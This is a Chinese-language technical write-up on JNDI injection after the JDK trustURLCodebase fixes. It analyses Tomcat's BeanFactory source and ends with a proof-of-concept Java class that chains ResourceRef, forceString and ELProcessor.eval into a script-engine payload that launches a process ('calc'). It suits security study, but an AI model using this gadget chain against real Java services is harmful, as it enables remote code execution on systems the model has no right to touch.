限制内容:

SQL
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

什么是远程codebase?

“远程 codebase”指的是通过网络从远程服务器加载 Java 类文件或其他资源的一种机制。它通常涉及使用 java.rmi、LDAP、HTTP 等协议,将类文件或代码从远程位置下载并在本地执行。

JNDI工作原理

jndi服务端 是传递一个Reference对象 然后客户端根据它获取远程类工厂factory,这个类工厂负责加载远程代码

在限制条件下ObjectFactory 不能加载远程代码了,但其还有一个机制是先双亲委派从本地加载类,如果本地加载不到,从codebase加载

也就是说如果服务端返回的Reference 对象指向的工厂类在本地存在,就会加载本地类工厂,执行该类的getObjectInstance

远程类工厂和远程类是什么关系?

远程类工厂:是一个用于创建远程类实例的工厂,它将创建远程对象的细节封装起来,客户端通过它来创建远程对象的实例。

远程类:是实际实现远程操作的类,客户端通过创建远程类的实例并调用其方法来执行远程服务。

假设有一个远程计算服务,服务端实现了一个计算器类RemoteCalculator(远程类),它提供了加法、减法等远程方法。为了让客户端能够使用这个服务,服务端可能会通过 JNDI 将一个远程类工厂 CalculatorFactory(远程类工厂)注册到 JNDI 中。客户端查询到 CalculatorFactory 后,使用它创建一个 RemoteCalculator 对象,并通过这个对象来执行远程计算。

可利用的工厂类beanFactory

在绑定JNDI时,可以指定工厂类,beanFactory可以实例化类,该类的无参构造方法会被调用,同时还会根据stringaddr的内容调用指定方法

ResourceRefref=new ResourceRef(“恶意类”, null, “”, “”, true, “org.apache.naming.factory.BeanFactory(指定工厂类)”, null);

分析下面代码可知,valueArray作为方法参数,大小只有1,并且来着于value,同时被强转为string类型,所以被利用方法必须是一个参数为1个string的方法

beanFactory实例化类时的要求:

工厂类来完成对恶意类的加载

通过 ResourceRef,JNDI 系统会使用 BeanFactory 来实例化 ELProcessor 对象。BeanFactory 负责管理 ELProcessor 的生命周期,并在需要时提供实例。

具体会调用 BeanFactory 的 getObjectInstance 方法来完成实例化。

BeanFactory 的 getObjectInstance 方法分析

首先是加载ref类的部分

SQL
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable environment)
throws NamingException {

// 检查传入的对象是否是 ResourceRef 实例
if (obj instanceof ResourceRef) {

try {

// 将 obj 强制转换为 Reference 类型
Reference ref = (Reference) obj;

// 获取 Bean 类名(类名是存储在 ResourceRef 中的)
String beanClassName = ref.getClassName();

// 初始化 beanClass 变量,用来保存类的 Class 对象
Class<?> beanClass = null;

// 获取当前线程的上下文类加载器
ClassLoader tcl = Thread.currentThread().getContextClassLoader();

// 如果上下文类加载器不为空,则尝试用它加载类
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
// 如果类没有找到,可以忽略错误(稍后会使用备用方法)
}
} else {
// 如果上下文类加载器为空,则使用系统类加载器来加载类
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}

// 如果 beanClass 为空,说明无法找到指定的类,抛出 NamingException 异常
if (beanClass == null) {
throw new NamingException(“Class not found: “ + beanClassName);
}

// 获取 Bean 的信息(JavaBean 的属性和方法)
BeanInfo bi = Introspector.getBeanInfo(beanClass);

// 获取 Bean 的所有属性描述器
PropertyDescriptor[] pda = bi.getPropertyDescriptors();

// 使用无参构造函数创建 Bean 的实例
Object bean = beanClass.getConstructor().newInstance();
}}

加载Ref类中的封装的类的数据,主要是通过ResourceRef 中名为 “forceString” 的 RefAddr 对象

SQL
// 获取 ResourceRef 中名为 “forceString” 的 RefAddr 对象
RefAddr ra = ref.get(“forceString”);

// 创建一个存储强制设置属性方法的 Map(key:属性名,value:方法)
Map<String, Method> forced = new HashMap<>();

// 如果 “forceString” 属性存在,处理该属性
String value;
if (ra != null) {
// 获取 “forceString” 的内容,值是以逗号分隔的属性列表
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;

// 将每个属性和方法名解析并存入 forced Map
for (String param: value.split(“,”)) {
param = param.trim();

// 如果属性名中包含 ‘=’,则提取方法名,否则使用默认的标准 setter 名称
index = param.indexOf(‘=’);
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = “set” + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

// 尝试获取对应的 setter 方法,如果找不到则抛出异常
try {
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException(“Forced String setter “ + setterName + “ not found for property “ + param);
}
}
}

// 获取 ResourceRef 中的所有 RefAddr 元素(每个 RefAddr 代表一个属性)
Enumeration e = ref.getAll();

// 遍历所有 RefAddr 元素,并为每个属性设置值
while (e.hasMoreElements()) {

// 获取当前的 RefAddr 对象
ra = e.nextElement();

// 获取属性的名称(即 RefAddr 的类型)
String propName = ra.getType();

// 忽略某些特定的属性,如 “factory”、”scope”、”auth” 等
if (propName.equals(Constants.FACTORY) ||
propName.equals(“scope”) || propName.equals(“auth”) ||
propName.equals(“forceString”) ||
propName.equals(“singleton”)) {
continue;
}

// 获取属性的值(即 RefAddr 的内容)
value = (String)ra.getContent();

// 创建一个数组来存放属性值(因为 setter 方法要求传递参数数组)
Object[] valueArray = new Object[1];

// 如果该属性有强制设置的 setter 方法,则通过反射调用该方法
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException(“Forced String setter “ + method.getName() + “ threw exception for property “ + propName);
}
continue;
}

// 如果没有强制设置的 setter,则根据属性名构造标准的 setter 方法名,并调用它
setterName = “set” + propName.substring(0, 1).toUpperCase(Locale.ENGLISH) + propName.substring(1);
try {
Method method = beanClass.getMethod(setterName, String.class);
valueArray[0] = value;
method.invoke(bean, valueArray);
} catch (NoSuchMethodException ex) {
// 如果没有找到 setter 方法,则忽略该属性
}
}

// 返回创建的 bean 实例
return bean;

} catch (Exception ex) {
throw new NamingException(“Error creating bean instance: “ + ex.getMessage());
}
}

// 如果 obj 不是 ResourceRef 实例,抛出 NamingException
throw new NamingException(“Invalid object type: “ + obj.getClass().getName());
}

被利用类需要满足的要求

根据上述的加载过程,得出内层利用需要满足条件:

类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String

满足上述要求的类的一种是:javax.el.ELProcessor#eval

原因可以从BeanFactory 的 getObjectInstance 方法得出,首先是类需要有无参构造函数,这点从实例化类时的方法可以得出,如果类无构造方法,getConstructor时便会报错

SQL
Object bean = beanClass.getConstructor().newInstance();

被利用方法需满足参数个数为1,参数类型为String

SQL
value = (String)ra.getContent();

Object[] valueArray = new Object[1];

/ Shortcut for properties with explicitly configured setter /
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
}…………..

调试流程追踪

测试代码

SQL
package org.example;
import org.apache.naming.ResourceRef;
import org.apache.naming.factory.BeanFactory;
import javax.naming.StringRefAddr;
import java.lang.reflect.Method;
import javax.el.ELProcessor;
public class Main {
public static void main(String[] args) {
try {
// 加载 BeanFactory 类
Class<?> BeanFactoryClass = Class.forName(“org.apache.naming.factory.BeanFactory”);
Method method= BeanFactoryClass.getDeclaredMethod(“getObjectInstance”, java.lang.Object.class, javax.naming.Name.class, javax.naming.Context.class, java.util.Hashtable.class);
//在反射中也需要new一下原类,反射调用的是方法,类仍需要原本的实例化
BeanFactory beanFactory=new BeanFactory();
//准备参数
java.lang.Object Object= null;
javax.naming.Name name = null;
javax.naming.Context context = null;
java.util.Hashtable<String, String> environment = null;
ResourceRef ref=new ResourceRef(“javax.el.ELProcessor”, null, “”, “”, true, “org.apache.naming.factory.BeanFactory”, null);
ref.add(new StringRefAddr(“forceString”, “x=eval”));
ref.add(new StringRefAddr(“x”, “"".getClass().forName("javax.script.ScriptEngineManager").newInstance()” +
“.getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[‘(java.lang.String[])’]” +
“([‘calc’]).start()")”));
Object result = method.invoke(beanFactory, ref, name, context, environment);
}catch (Exception e){
// 获取构造方法内部抛出的实际异常
Throwable cause = e.getCause(); // 获取根本原因
cause.printStackTrace(); // 打印堆栈跟踪信息
}
}
}

beanloadclass获取的就是利用类

首先获得forceString x,然后Method method = forced.get(propName);得到eval方法

踩坑

这两个包是不同的东西,如果是下面这个包,ELProcess就会没有无参构造方法然后导致利用失败